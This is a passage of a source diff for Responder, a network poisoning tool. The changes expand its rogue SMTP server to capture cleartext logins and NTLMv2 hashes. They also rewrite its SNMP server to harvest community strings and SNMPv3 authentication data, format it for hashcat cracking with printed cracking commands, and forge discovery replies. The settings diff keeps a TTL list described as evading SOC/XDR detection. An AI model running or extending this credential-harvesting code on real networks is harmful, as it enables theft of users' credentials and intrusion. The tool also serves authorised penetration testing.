||||
|
||||
# Parse security buffers
|
||||
# LM Response
|
||||
lm_len, lm_maxlen, lm_offset = struct.unpack('<HHI', type3_msg[12:20])
|
||||
|
||||
# NTLM Response
|
||||
ntlm_len, ntlm_maxlen, ntlm_offset = struct.unpack('<HHI', type3_msg[20:28])
|
||||
|
||||
# Domain name
|
||||
domain_len, domain_maxlen, domain_offset = struct.unpack('<HHI', type3_msg[28:36])
|
||||
|
||||
# User name
|
||||
user_len, user_maxlen, user_offset = struct.unpack('<HHI', type3_msg[36:44])
|
||||
|
||||
# Workstation name
|
||||
ws_len, ws_maxlen, ws_offset = struct.unpack('<HHI', type3_msg[44:52])
|
||||
|
||||
# Extract strings
|
||||
if user_offset + user_len <= len(type3_msg):
|
||||
user = type3_msg[user_offset:user_offset+user_len].decode('utf-16le', errors='ignore')
|
||||
else:
|
||||
user = ""
|
||||
|
||||
if domain_offset + domain_len <= len(type3_msg):
|
||||
domain = type3_msg[domain_offset:domain_offset+domain_len].decode('utf-16le', errors='ignore')
|
||||
else:
|
||||
domain = ""
|
||||
|
||||
# DO NOT parse email addresses - use exact Type 3 fields for hashcat
|
||||
|
||||
if ws_offset + ws_len <= len(type3_msg):
|
||||
workstation = type3_msg[ws_offset:ws_offset+ws_len].decode('utf-16le', errors='ignore')
|
||||
else:
|
||||
workstation = ""
|
||||
|
||||
# Extract NTLM response
|
||||
if ntlm_offset + ntlm_len <= len(type3_msg):
|
||||
ntlm_response = type3_msg[ntlm_offset:ntlm_offset+ntlm_len]
|
||||
else:
|
||||
return None
|
||||
|
||||
# Check if NTLMv2 (response length > 24 bytes)
|
||||
if len(ntlm_response) > 24:
|
||||
# NTLMv2
|
||||
ntlmv2_response = ntlm_response[:16] # First 16 bytes
|
||||
ntlmv2_blob = ntlm_response[16:] # Rest is the blob
|
||||
|
||||
# Extract challenge from Type 2
|
||||
challenge = type2_msg[24:32] # Challenge is at offset 24
|
||||
|
||||
# Build hashcat NetNTLMv2 format
|
||||
# Format: username::domain:challenge:ntlmv2_response:blob
|
||||
# For hashcat mode 5600
|
||||
hash_str = "%s::%s:%s:%s:%s" % (
|
||||
user,
|
||||
domain,
|
||||
codecs.encode(challenge, 'hex').decode('latin-1'),
|
||||
codecs.encode(ntlmv2_response, 'hex').decode('latin-1'),
|
||||
codecs.encode(ntlmv2_blob, 'hex').decode('latin-1')
|
||||
)
|
||||
|
||||
return hash_str
|
||||
|
||||
# NTLMv1 or unsupported
|
||||
return None
|
||||
|
||||
except Exception as e:
|
||||
return None
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
# Send greeting
|
||||
self.request.send(NetworkSendBufferPython2or3(SMTPGreeting()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == b'EHLO' or data[0:4] == b'ehlo':
|
||||
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH()))
|
||||
|
||||
# Handle EHLO
|
||||
if data[0:4].upper() == b'EHLO' or data[0:4].upper() == b'HELO':
|
||||
# Send ESMTP capabilities
|
||||
capabilities = [
|
||||
settings.Config.MachineName + " Hello",
|
||||
"STARTTLS",
|
||||
"AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM",
|
||||
"SIZE 35651584",
|
||||
"8BITMIME",
|
||||
"PIPELINING",
|
||||
"ENHANCEDSTATUSCODES"
|
||||
]
|
||||
self.send_multiline_response(250, capabilities)
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:4] == b'AUTH':
|
||||
AuthPlain = re.findall(b'(?<=AUTH PLAIN )[^\r]*', data)
|
||||
if AuthPlain:
|
||||
User = list(filter(None, b64decode(AuthPlain[0]).split(b'\x00')))
|
||||
Username = User[0].decode('latin-1')
|
||||
Password = User[1].decode('latin-1')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': Username,
|
||||
'cleartext': Password,
|
||||
'fullhash': Username+":"+Password,
|
||||
})
|
||||
|
||||
else:
|
||||
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH1()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Handle STARTTLS command
|
||||
if data[0:8].upper() == b'STARTTLS':
|
||||
self.send_response(220, "Ready to start TLS")
|
||||
|
||||
if data:
|
||||
try:
|
||||
User = list(filter(None, b64decode(data).split(b'\x00')))
|
||||
Username = User[0].decode('latin-1')
|
||||
Password = User[1].decode('latin-1')
|
||||
except:
|
||||
Username = b64decode(data).decode('latin-1')
|
||||
|
||||
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH2()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data:
|
||||
try: Password = b64decode(data).decode('latin-1')
|
||||
except: Password = data
|
||||
|
||||
SaveToDb({
|
||||
'module': 'SMTP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': Username,
|
||||
'cleartext': Password,
|
||||
'fullhash': Username+":"+Password,
|
||||
})
|
||||
|
||||
except Exception:
|
||||
# Upgrade to TLS
|
||||
if self.upgrade_to_tls():
|
||||
# After successful TLS upgrade, client will send EHLO again
|
||||
data = self.request.recv(1024)
|
||||
|
||||
# Handle EHLO after STARTTLS
|
||||
if data[0:4].upper() == b'EHLO' or data[0:4].upper() == b'HELO':
|
||||
# Send capabilities again (without STARTTLS this time)
|
||||
capabilities = [
|
||||
settings.Config.MachineName + " Hello",
|
||||
"AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM",
|
||||
"SIZE 35651584",
|
||||
"8BITMIME",
|
||||
"PIPELINING",
|
||||
"ENHANCEDSTATUSCODES"
|
||||
]
|
||||
self.send_multiline_response(250, capabilities)
|
||||
data = self.request.recv(1024)
|
||||
else:
|
||||
# TLS upgrade failed
|
||||
self.send_response(454, "TLS not available")
|
||||
return
|
||||
|
||||
# Handle AUTH command
|
||||
if data[0:4].upper() == b'AUTH':
|
||||
mechanism = data[5:].strip().split(b' ')[0].upper()
|
||||
|
||||
if mechanism == b'PLAIN':
|
||||
if self.handle_auth_plain(data):
|
||||
self.send_response(235, "Authentication successful")
|
||||
else:
|
||||
self.send_response(535, "Authentication failed")
|
||||
return
|
||||
|
||||
elif mechanism == b'LOGIN':
|
||||
if self.handle_auth_login(data):
|
||||
self.send_response(235, "Authentication successful")
|
||||
else:
|
||||
self.send_response(535, "Authentication failed")
|
||||
return
|
||||
|
||||
elif mechanism == b'CRAM-MD5' or mechanism.startswith(b'CRAM'):
|
||||
if self.handle_auth_cram_md5(data):
|
||||
self.send_response(235, "Authentication successful")
|
||||
else:
|
||||
self.send_response(535, "Authentication failed")
|
||||
return
|
||||
|
||||
elif mechanism == b'DIGEST-MD5' or mechanism.startswith(b'DIGEST'):
|
||||
if self.handle_auth_digest_md5(data):
|
||||
self.send_response(235, "Authentication successful")
|
||||
else:
|
||||
self.send_response(535, "Authentication failed")
|
||||
return
|
||||
|
||||
elif mechanism == b'NTLM':
|
||||
if self.handle_auth_ntlm(data):
|
||||
self.send_response(235, "Authentication successful")
|
||||
else:
|
||||
self.send_response(535, "Authentication failed")
|
||||
return
|
||||
|
||||
else:
|
||||
self.send_response(504, "Unrecognized authentication type")
|
||||
return
|
||||
|
||||
# Handle other commands
|
||||
self.send_response(250, "OK")
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SMTP] Exception: %s' % str(e)))
|
||||
pass
|
||||
|
||||
393
servers/SNMP.py
393
servers/SNMP.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -15,48 +15,377 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from binascii import hexlify
|
||||
from pyasn1.codec.ber.decoder import decode
|
||||
from binascii import hexlify, unhexlify
|
||||
import struct
|
||||
|
||||
try:
|
||||
from pyasn1.codec.ber.decoder import decode
|
||||
from pyasn1.codec.ber.encoder import encode
|
||||
HAS_PYASN1 = True
|
||||
except ImportError:
|
||||
HAS_PYASN1 = False
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] Warning: pyasn1 not installed, SNMP server disabled'))
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
# SNMPv3 Authentication Algorithms
|
||||
SNMPV3_AUTH_ALGORITHMS = {
|
||||
b'\x06\x0c\x2b\x06\x01\x06\x03\x0f\x01\x01\x04\x00': ('usmNoAuthProtocol', None),
|
||||
b'\x06\x0a\x2b\x06\x01\x06\x03\x0a\x01\x01\x02': ('usmHMACMD5AuthProtocol', 25100),
|
||||
b'\x06\x0a\x2b\x06\x01\x06\x03\x0a\x01\x01\x03': ('usmHMACSHAAuthProtocol', 25200),
|
||||
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x04': ('usmHMAC128SHA224AuthProtocol', 25300),
|
||||
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x05': ('usmHMAC192SHA256AuthProtocol', 25400),
|
||||
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x06': ('usmHMAC256SHA384AuthProtocol', 25500),
|
||||
b'\x06\x09\x2b\x06\x01\x06\x03\x0a\x01\x01\x07': ('usmHMAC384SHA512AuthProtocol', 25600),
|
||||
}
|
||||
|
||||
class SNMP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
data = self.request[0]
|
||||
received_record, rest_of_substrate = decode(data)
|
||||
|
||||
snmp_version = int(received_record['field-0'])
|
||||
|
||||
if snmp_version == 3:
|
||||
full_snmp_msg = hexlify(data).decode('utf-8')
|
||||
if not HAS_PYASN1:
|
||||
return
|
||||
|
||||
try:
|
||||
data = self.request[0]
|
||||
socket = self.request[1]
|
||||
|
||||
# Decode the SNMP message
|
||||
try:
|
||||
received_record, rest_of_substrate = decode(data)
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] ASN.1 decode error: %s' % str(e)))
|
||||
return
|
||||
|
||||
# Get SNMP version
|
||||
try:
|
||||
snmp_version = int(received_record['field-0'])
|
||||
except:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] Could not determine SNMP version'))
|
||||
return
|
||||
|
||||
# Handle SNMPv3
|
||||
if snmp_version == 3:
|
||||
self.handle_snmpv3(data, received_record, socket)
|
||||
# Handle SNMPv1/v2c
|
||||
else:
|
||||
self.handle_snmpv1v2c(data, received_record, snmp_version, socket)
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] Exception in handler: %s' % str(e)))
|
||||
pass
|
||||
|
||||
def handle_snmpv3(self, data, received_record, socket):
|
||||
"""Handle SNMPv3 messages and extract authentication parameters"""
|
||||
try:
|
||||
# Decode the inner security parameters
|
||||
received_record_inner, _ = decode(received_record['field-2'])
|
||||
|
||||
# Extract fields
|
||||
snmp_user = str(received_record_inner['field-3'])
|
||||
engine_id = hexlify(received_record_inner['field-0']._value).decode('utf-8')
|
||||
engine_boots = int(received_record_inner['field-1'])
|
||||
engine_time = int(received_record_inner['field-2'])
|
||||
auth_params = hexlify(received_record_inner['field-4']._value).decode('utf-8')
|
||||
|
||||
|
||||
priv_params = hexlify(received_record_inner['field-5']._value).decode('utf-8')
|
||||
|
||||
# Zero out authentication parameters in packet for hashcat
|
||||
# Hashcat recalculates HMAC over packet with auth params = zeros
|
||||
data_hex = hexlify(data).decode('utf-8')
|
||||
if auth_params and auth_params != '00' * 12:
|
||||
# Replace auth params with zeros in the packet
|
||||
zeroed_auth = '00' * (len(auth_params) // 2)
|
||||
full_snmp_msg = data_hex.replace(auth_params, zeroed_auth)
|
||||
else:
|
||||
full_snmp_msg = data_hex
|
||||
|
||||
# Determine authentication algorithm
|
||||
auth_algo_name, hashcat_mode = self.identify_auth_algorithm(data)
|
||||
|
||||
# If not detected by OID, infer from auth params length
|
||||
if not hashcat_mode and auth_params and auth_params != '00' * 12:
|
||||
auth_len = len(auth_params) // 2 # Convert hex to bytes
|
||||
if auth_len == 12:
|
||||
# Could be MD5 or SHA1 - use combined mode
|
||||
auth_algo_name = 'HMAC-MD5-96/HMAC-SHA1-96'
|
||||
hashcat_mode = 25000
|
||||
elif auth_len == 16:
|
||||
auth_algo_name = 'HMAC-SHA224'
|
||||
hashcat_mode = 25300
|
||||
elif auth_len == 24:
|
||||
auth_algo_name = 'HMAC-SHA256'
|
||||
hashcat_mode = 25400
|
||||
elif auth_len == 32:
|
||||
auth_algo_name = 'HMAC-SHA384'
|
||||
hashcat_mode = 25500
|
||||
elif auth_len == 48:
|
||||
auth_algo_name = 'HMAC-SHA512'
|
||||
hashcat_mode = 25600
|
||||
|
||||
# Check if this is a discovery request (no auth params and empty username)
|
||||
if (not auth_params or auth_params == '00' * 12) and (not snmp_user or snmp_user == ''):
|
||||
# Send discovery response with our engine ID
|
||||
self.send_discovery_response(socket, received_record)
|
||||
return
|
||||
|
||||
# Check if authentication is actually being used
|
||||
if not auth_params or auth_params == '00' * 12:
|
||||
# Still save the username with noAuth indicator
|
||||
SaveToDb({
|
||||
"module": "SNMP",
|
||||
"type": "SNMPv3-noAuth",
|
||||
"client": self.client_address[0],
|
||||
"user": snmp_user,
|
||||
"cleartext": "(noAuth)",
|
||||
"fullhash": snmp_user + ":(noAuth)"
|
||||
})
|
||||
return
|
||||
|
||||
# Build hashcat-compatible hash
|
||||
if hashcat_mode:
|
||||
# Format for mode 25000: $SNMPv3$<type>$<boots>$<packet>$<engine_id>$<auth_params>
|
||||
# type: 0=MD5/SHA1, 1=SHA1, 2=SHA224, etc.
|
||||
# boots: engine boots in decimal
|
||||
# packet: full SNMP packet in hex
|
||||
# engine_id: engine ID in hex
|
||||
# auth_params: authentication parameters in hex
|
||||
|
||||
auth_type_map = {
|
||||
25000: 0, # MD5/SHA1 combined
|
||||
25100: 0, # MD5
|
||||
25200: 1, # SHA1
|
||||
25300: 2, # SHA224
|
||||
25400: 3, # SHA256
|
||||
25500: 4, # SHA384
|
||||
25600: 5, # SHA512
|
||||
}
|
||||
auth_type = auth_type_map.get(hashcat_mode, 0)
|
||||
|
||||
# Build the hash in correct format
|
||||
hashcat_hash = "$SNMPv3$%d$%d$%s$%s$%s" % (
|
||||
auth_type,
|
||||
engine_boots,
|
||||
full_snmp_msg,
|
||||
engine_id,
|
||||
auth_params
|
||||
)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] SNMPv3 hash captured!'))
|
||||
print(text('[SNMP] Crack with: hashcat -m %d hash.txt wordlist.txt' % hashcat_mode))
|
||||
if hashcat_mode == 25000:
|
||||
print(text('[SNMP] Note: Mode 25000 tries both MD5 and SHA1'))
|
||||
print(text('[SNMP] Or use -m 25100 (MD5 only) or -m 25200 (SHA1 only)'))
|
||||
|
||||
# Sanitize type name for filesystem (remove slashes)
|
||||
safe_type = auth_algo_name.replace('/', '-')
|
||||
|
||||
SaveToDb({
|
||||
"module": "SNMP",
|
||||
"type": "SNMPv3-%s" % safe_type,
|
||||
"client": self.client_address[0],
|
||||
"user": snmp_user,
|
||||
"hash": hashcat_hash,
|
||||
"fullhash": hashcat_hash
|
||||
})
|
||||
else:
|
||||
# Unknown algorithm or no auth - save basic info
|
||||
SaveToDb({
|
||||
"module": "SNMP",
|
||||
"type": "SNMPv3",
|
||||
"client": self.client_address[0],
|
||||
"user": snmp_user,
|
||||
"hash": auth_params,
|
||||
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
|
||||
})
|
||||
|
||||
# Send a response (Report PDU indicating authentication failure)
|
||||
# This keeps the conversation going
|
||||
self.send_snmpv3_report(socket)
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] SNMPv3 parsing error: %s' % str(e)))
|
||||
pass
|
||||
|
||||
def handle_snmpv1v2c(self, data, received_record, snmp_version, socket):
|
||||
"""Handle SNMPv1/v2c messages and extract community strings"""
|
||||
try:
|
||||
community_string = str(received_record['field-1'])
|
||||
version_str = 'v1' if snmp_version == 0 else 'v2c'
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] %s Community String: %s' % (version_str, community_string)))
|
||||
|
||||
# Validate community string (should be printable)
|
||||
if not community_string or not self.is_printable(community_string):
|
||||
return
|
||||
|
||||
SaveToDb({
|
||||
"module": "SNMP",
|
||||
"type": "SNMPv3",
|
||||
"client" : self.client_address[0],
|
||||
"user": snmp_user,
|
||||
"hash": auth_params,
|
||||
"fullhash": "{}:{}:{}:{}".format(snmp_user, full_snmp_msg, engine_id, auth_params)
|
||||
"type": "Cleartext SNMP%s" % version_str,
|
||||
"client": self.client_address[0],
|
||||
"user": community_string,
|
||||
"cleartext": community_string,
|
||||
"fullhash": community_string,
|
||||
})
|
||||
else:
|
||||
community_string = str(received_record['field-1'])
|
||||
snmp_version = '1' if snmp_version == 0 else '2c'
|
||||
|
||||
SaveToDb(
|
||||
{
|
||||
"module": "SNMP",
|
||||
"type": "Cleartext SNMPv{}".format(snmp_version),
|
||||
"client": self.client_address[0],
|
||||
"user": community_string,
|
||||
"cleartext": community_string,
|
||||
"fullhash": community_string,
|
||||
}
|
||||
)
|
||||
|
||||
# Send a response (could be a proper SNMP response or error)
|
||||
# For now, we just close the connection
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] SNMPv1/v2c parsing error: %s' % str(e)))
|
||||
pass
|
||||
|
||||
def identify_auth_algorithm(self, data):
|
||||
"""
|
||||
Identify the authentication algorithm used in SNMPv3
|
||||
Returns (algorithm_name, hashcat_mode)
|
||||
"""
|
||||
try:
|
||||
# Look for OID patterns in the raw data
|
||||
for oid_bytes, (algo_name, hashcat_mode) in SNMPV3_AUTH_ALGORITHMS.items():
|
||||
if oid_bytes in data:
|
||||
return (algo_name, hashcat_mode)
|
||||
|
||||
# If not found by OID, try to infer from auth params length
|
||||
# MD5: 12 bytes, SHA1: 12 bytes, SHA224: 16 bytes, SHA256: 24 bytes, SHA384: 32 bytes, SHA512: 48 bytes
|
||||
# Note: This is less reliable
|
||||
|
||||
return (None, None)
|
||||
except:
|
||||
return (None, None)
|
||||
|
||||
def is_printable(self, s):
|
||||
"""Check if string contains only printable characters"""
|
||||
try:
|
||||
return all(32 <= ord(c) <= 126 for c in s)
|
||||
except:
|
||||
return False
|
||||
|
||||
def send_snmpv3_report(self, socket):
|
||||
"""
|
||||
Send a minimal SNMPv3 Report PDU
|
||||
This indicates authentication failure but keeps the conversation alive
|
||||
"""
|
||||
try:
|
||||
# Minimal Report PDU - just close for now
|
||||
# A proper implementation would build a valid SNMP Report PDU
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
|
||||
def send_discovery_response(self, socket, received_record):
|
||||
"""
|
||||
Send SNMPv3 discovery response with engine ID
|
||||
This allows the client to send authenticated request
|
||||
"""
|
||||
try:
|
||||
from pyasn1.type import univ
|
||||
from pyasn1.codec.ber.encoder import encode
|
||||
import os
|
||||
import time
|
||||
|
||||
# Generate a random engine ID (or use a fixed one)
|
||||
# Format: 0x80 + enterprise ID (4 bytes) + format + data
|
||||
# Enterprise ID: 0x00000000 (reserved)
|
||||
# Format: 0x05 (octets - allows arbitrary data)
|
||||
# Data: 12 random bytes (17 bytes total to match hashcat requirements)
|
||||
engine_id = b'\x80\x00\x00\x00\x05' + os.urandom(12)
|
||||
|
||||
# Engine boots and time
|
||||
engine_boots = 1
|
||||
engine_time = int(time.time()) % 2147483647
|
||||
|
||||
# Build the SNMPv3 message with Report-PDU
|
||||
# Structure: SEQUENCE { version, globalData, securityParameters, scopedPDU }
|
||||
|
||||
# Global data
|
||||
msg_id = int(received_record['field-1']['field-0'])
|
||||
global_data = univ.Sequence()
|
||||
global_data.setComponentByPosition(0, univ.Integer(msg_id))
|
||||
global_data.setComponentByPosition(1, univ.Integer(65507)) # max size
|
||||
global_data.setComponentByPosition(2, univ.OctetString(hexValue='04')) # flags: reportable
|
||||
global_data.setComponentByPosition(3, univ.Integer(3)) # USM
|
||||
|
||||
# Security parameters (USM)
|
||||
usm_params = univ.Sequence()
|
||||
usm_params.setComponentByPosition(0, univ.OctetString(hexValue=engine_id.hex())) # engine ID
|
||||
usm_params.setComponentByPosition(1, univ.Integer(engine_boots))
|
||||
usm_params.setComponentByPosition(2, univ.Integer(engine_time))
|
||||
usm_params.setComponentByPosition(3, univ.OctetString('')) # username
|
||||
usm_params.setComponentByPosition(4, univ.OctetString(hexValue='00' * 12)) # auth params
|
||||
usm_params.setComponentByPosition(5, univ.OctetString('')) # priv params
|
||||
|
||||
# Encode USM params
|
||||
usm_encoded = encode(usm_params)
|
||||
|
||||
from pyasn1.type import tag
|
||||
|
||||
# Build Report-PDU with IMPLICIT tagging [8]
|
||||
# The [8] tag REPLACES the SEQUENCE tag, not wraps it
|
||||
|
||||
# VarBind: OID + value
|
||||
varbind_inner = univ.Sequence()
|
||||
varbind_inner.setComponentByPosition(0, univ.ObjectIdentifier('1.3.6.1.6.3.15.1.1.4.0'))
|
||||
varbind_inner.setComponentByPosition(1, univ.Integer(1))
|
||||
varbind_encoded = encode(varbind_inner)
|
||||
|
||||
# VarBindList (SEQUENCE OF)
|
||||
varbind_list_content = varbind_encoded
|
||||
varbind_list_bytes = bytes([0x30, len(varbind_list_content)]) + varbind_list_content
|
||||
|
||||
# Report-PDU content (without SEQUENCE tag, will use [8] instead)
|
||||
report_content = b''
|
||||
# request-id
|
||||
report_content += encode(univ.Integer(msg_id))
|
||||
# error-status
|
||||
report_content += encode(univ.Integer(0))
|
||||
# error-index
|
||||
report_content += encode(univ.Integer(0))
|
||||
# variable-bindings
|
||||
report_content += varbind_list_bytes
|
||||
|
||||
# Tag as [8] IMPLICIT (replaces SEQUENCE tag)
|
||||
report_pdu_bytes = bytes([0xa8, len(report_content)]) + report_content
|
||||
|
||||
# Build scopedPDU as plain SEQUENCE (no [0] tag for plaintext)
|
||||
# RFC 3412: plaintext msgData is just the ScopedPDU SEQUENCE
|
||||
scoped_content = b''
|
||||
# contextEngineID (OCTET STRING)
|
||||
engine_bytes = bytes.fromhex(engine_id.hex())
|
||||
scoped_content += bytes([0x04, len(engine_bytes)]) + engine_bytes
|
||||
# contextName (OCTET STRING, empty)
|
||||
scoped_content += bytes([0x04, 0x00])
|
||||
# data (Report-PDU with implicit tag [8])
|
||||
scoped_content += report_pdu_bytes
|
||||
|
||||
# msgData is just a SEQUENCE containing scopedPDU (no [0] tag)
|
||||
msg_data_bytes = bytes([0x30, len(scoped_content)]) + scoped_content
|
||||
|
||||
# Use Any to include raw bytes
|
||||
msg_data = univ.Any(hexValue=msg_data_bytes.hex())
|
||||
|
||||
# Full SNMPv3 message
|
||||
snmp_msg = univ.Sequence()
|
||||
snmp_msg.setComponentByPosition(0, univ.Integer(3)) # version snmpv3
|
||||
snmp_msg.setComponentByPosition(1, global_data)
|
||||
snmp_msg.setComponentByPosition(2, univ.OctetString(usm_encoded))
|
||||
snmp_msg.setComponentByPosition(3, msg_data) # msgData with plaintext tag
|
||||
|
||||
# Encode and send
|
||||
response = encode(snmp_msg)
|
||||
socket.sendto(response, self.client_address)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] Sent discovery response with engine ID: %s' % engine_id.hex()))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[SNMP] Error sending discovery response: %s' % str(e)))
|
||||
|
||||
23
settings.py
23
settings.py
@@ -23,7 +23,7 @@ import subprocess
|
||||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 3.1.5.0'
|
||||
__version__ = 'Responder 3.2.0.0'
|
||||
|
||||
class Settings:
|
||||
|
||||
@@ -117,14 +117,17 @@ class Settings:
|
||||
|
||||
# Poisoners
|
||||
self.LLMNR_On_Off = self.toBool(config.get('Responder Core', 'LLMNR'))
|
||||
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
|
||||
self.NBTNS_On_Off = self.toBool(config.get('Responder Core', 'NBTNS'))
|
||||
self.MDNS_On_Off = self.toBool(config.get('Responder Core', 'MDNS'))
|
||||
self.DHCPv6_On_Off = self.toBool(config.get('Responder Core', 'DHCPv6'))
|
||||
|
||||
# Servers
|
||||
# Servers
|
||||
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
|
||||
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
|
||||
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
|
||||
self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
|
||||
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
|
||||
self.MYSQL_On_Off = self.toBool(config.get('Responder Core', 'MYSQL'))
|
||||
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
|
||||
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
|
||||
self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
|
||||
@@ -158,6 +161,7 @@ class Settings:
|
||||
self.NOESS_On_Off = options.NOESS_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.DHCP_On_Off = options.DHCP_On_Off
|
||||
self.DHCPv6_On_Off = options.DHCPv6_On_Off
|
||||
self.Basic = options.Basic
|
||||
self.Interface = options.Interface
|
||||
self.OURIP = options.OURIP
|
||||
@@ -172,6 +176,8 @@ class Settings:
|
||||
self.DHCP_DNS = options.DHCP_DNS
|
||||
self.ExternalIP6 = options.ExternalIP6
|
||||
self.Quiet_Mode = options.Quiet
|
||||
self.AnswerName = options.AnswerName
|
||||
self.ErrorCode = options.ErrorCode
|
||||
|
||||
# TTL blacklist. Known to be detected by SOC / XDR
|
||||
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
|
||||
@@ -276,6 +282,17 @@ class Settings:
|
||||
if not os.path.exists(self.Exe_Filename):
|
||||
print(utils.color("/!\\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
|
||||
|
||||
# DHCPv6 Server Options
|
||||
try:
|
||||
self.DHCPv6_Domain = config.get('DHCPv6 Server', 'DHCPv6_Domain')
|
||||
self.DHCPv6_SendRA = self.toBool(config.get('DHCPv6 Server', 'SendRA'))
|
||||
self.Bind_To_IPv6 = config.get('DHCPv6 Server', 'BindToIPv6')
|
||||
except:
|
||||
# Defaults if section doesn't exist
|
||||
self.DHCPv6_Domain = ''
|
||||
self.DHCPv6_SendRA = False
|
||||
self.Bind_To_IPv6 = ''
|
||||
|
||||
# SSL Options
|
||||
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
|
||||
self.SSLCert = config.get('HTTPS Server', 'SSLCert')
|
||||
|
||||
26
utils.py
26
utils.py
@@ -28,8 +28,13 @@ import random
|
||||
try:
|
||||
import netifaces
|
||||
except:
|
||||
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
|
||||
|
||||
sys.exit('You need to install python3-netifaces or run Responder with python3...\nTry "apt-get install python3-netifaces" or "pip install netifaces"')
|
||||
|
||||
try:
|
||||
import aioquic
|
||||
except:
|
||||
sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"')
|
||||
|
||||
from calendar import timegm
|
||||
|
||||
def if_nametoindex2(name):
|
||||
@@ -480,28 +485,21 @@ def banner():
|
||||
])
|
||||
|
||||
print(banner)
|
||||
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
|
||||
print('')
|
||||
print(" To support this project:")
|
||||
print(" Github -> https://github.com/sponsors/lgandx")
|
||||
print(" Paypal -> https://paypal.me/PythonResponder")
|
||||
print('')
|
||||
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
|
||||
print(" To kill this script hit CTRL-C")
|
||||
print('')
|
||||
|
||||
|
||||
def StartupMessage():
|
||||
enabled = color('[ON]', 2, 1)
|
||||
disabled = color('[OFF]', 1, 1)
|
||||
|
||||
print('')
|
||||
print(color("[*] ", 2, 1) + 'Sponsor this project: [USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv] , [BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo]\n')
|
||||
print(color("[+] ", 2, 1) + "Poisoners:")
|
||||
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
|
||||
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
|
||||
print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled))
|
||||
print(' %-27s' % "DNS" + enabled)
|
||||
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
|
||||
print(' %-27s' % "DHCPv6" + (enabled if settings.Config.DHCPv6_On_Off else disabled))
|
||||
print('')
|
||||
|
||||
print(color("[+] ", 2, 1) + "Servers:")
|
||||
@@ -574,4 +572,8 @@ def StartupMessage():
